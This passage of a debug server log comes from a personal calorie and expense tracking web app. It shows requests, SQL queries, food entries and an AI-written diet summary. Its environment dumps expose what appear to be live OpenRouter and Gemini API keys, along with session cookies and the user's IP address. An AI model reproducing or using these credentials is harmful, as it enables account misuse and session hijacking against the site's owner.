    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:57:05.799Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T04:57:05.800Z server-connect:app Executing action step identify
2025-12-20T04:57:05.800Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:05.800Z server-connect:output identity: 1
2025-12-20T04:57:05.800Z server-connect:app Executing action step restrict
2025-12-20T04:57:05.801Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:57:05.802Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T04:57:05.802Z server-connect:output restrict: undefined
2025-12-20T04:57:05.802Z server-connect:app Executing action step single
2025-12-20T04:57:05.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T04:57:05.803Z server-connect:app Executing action step identify
2025-12-20T04:57:05.803Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:05.803Z server-connect:output identity: 1
2025-12-20T04:57:05.803Z server-connect:app Executing action step restrict
2025-12-20T04:57:05.803Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:05.803Z server-connect:output restrict: undefined
2025-12-20T04:57:05.803Z server-connect:app Executing action step single
2025-12-20T04:57:05.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T04:57:05.804Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T04:57:05.804Z server-connect:app Executing action step select
2025-12-20T04:57:05.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T04:57:05.805Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
    bad_points: [
      'Extremely limited food intake for the entire day.',
      'Lack of diverse food groups, missing carbohydrates and healthy fats.',
      'Inadequate protein intake for muscle development and recovery.',
      'No indication of hydration or other essential nutrients.'
    ],
    good_points: [
      'Pre-workout was consumed, indicating readiness for training.',
      'Paneer provides a good source of protein.'
    ],
    suggestions: [
      'Incorporate at least two more balanced meals throughout the day.',
      'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
      'Add a variety of vegetables and fruits for micronutrients and fiber.',
      'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T04:57:05.807Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  }
]
2025-12-20T04:57:05.807Z server-connect:app Executing action step setvalue
2025-12-20T04:57:05.807Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T04:57:05.807Z server-connect:output var_total: 352
2025-12-20T04:57:05.807Z server-connect:app Executing action step setvalue
2025-12-20T04:57:05.807Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T04:57:05.807Z server-connect:output var_consumed: 15
2025-12-20T04:57:05.807Z server-connect:app Executing action step setvalue
2025-12-20T04:57:05.807Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T04:57:05.807Z server-connect:output var_deficit: 2048
2025-12-20T04:57:05.807Z server-connect:app Executing action step custom
2025-12-20T04:57:05.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T04:57:05.808Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '352',
    surplus_or_deficit: '2048',
    status_flag: 2
  }
]
2025-12-20T04:57:17.424Z server-connect:router Serving templateView /goal
2025-12-20T04:57:17.425Z server-connect:app Executing action step identify
2025-12-20T04:57:17.425Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:17.425Z server-connect:output identity: 1
2025-12-20T04:57:17.425Z server-connect:app Executing action step restrict
2025-12-20T04:57:17.425Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:57:17.425Z server-connect:output restrict: undefined
2025-12-20T04:57:17.425Z server-connect:router Render template goal
2025-12-20T04:57:17.426Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:57:17.769Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-20T04:57:17.770Z server-connect:app Executing action step identify
2025-12-20T04:57:17.770Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:17.770Z server-connect:output identity: 1
2025-12-20T04:57:17.770Z server-connect:app Executing action step restrict
2025-12-20T04:57:17.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:57:17.770Z server-connect:output restrict: undefined
2025-12-20T04:57:17.770Z server-connect:app Executing action step select
2025-12-20T04:57:17.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-20T04:57:17.773Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Fat Loss',
    start_date: '2025-03-31T18:30:00.000Z',
    end_date: '2025-05-07T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  },
  {
    schedule_id: 3,
    schedule_name: 'Fat Loss',
    start_date: '2025-11-14T18:30:00.000Z',
    end_date: '2025-11-14T18:30:00.000Z',
    days: 70,
    created_on: '2025-11-11T01:10:11.000Z',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    status: 'Not Started',
    description: 'test'
  }
]
2025-12-20T04:57:25.269Z server-connect:router Serving templateView /goal
2025-12-20T04:57:25.270Z server-connect:app Executing action step identify
2025-12-20T04:57:25.270Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:25.270Z server-connect:output identity: 1
2025-12-20T04:57:25.270Z server-connect:app Executing action step restrict
2025-12-20T04:57:25.270Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:57:25.270Z server-connect:output restrict: undefined
2025-12-20T04:57:25.270Z server-connect:router Render template layouts/main
2025-12-20T04:57:25.270Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2025-12-20T04:57:25.482Z server-connect:app Executing action step identify
2025-12-20T04:57:25.482Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:25.482Z server-connect:output identity: 1
2025-12-20T04:57:25.869Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T04:57:25.870Z server-connect:app Executing action step identify
2025-12-20T04:57:25.870Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:25.870Z server-connect:output identity: 1
2025-12-20T04:57:25.870Z server-connect:app Executing action step restrict
2025-12-20T04:57:25.870Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:57:25.870Z server-connect:output restrict: undefined
2025-12-20T04:57:25.870Z server-connect:app Executing action step select
2025-12-20T04:57:25.870Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T04:57:25.873Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
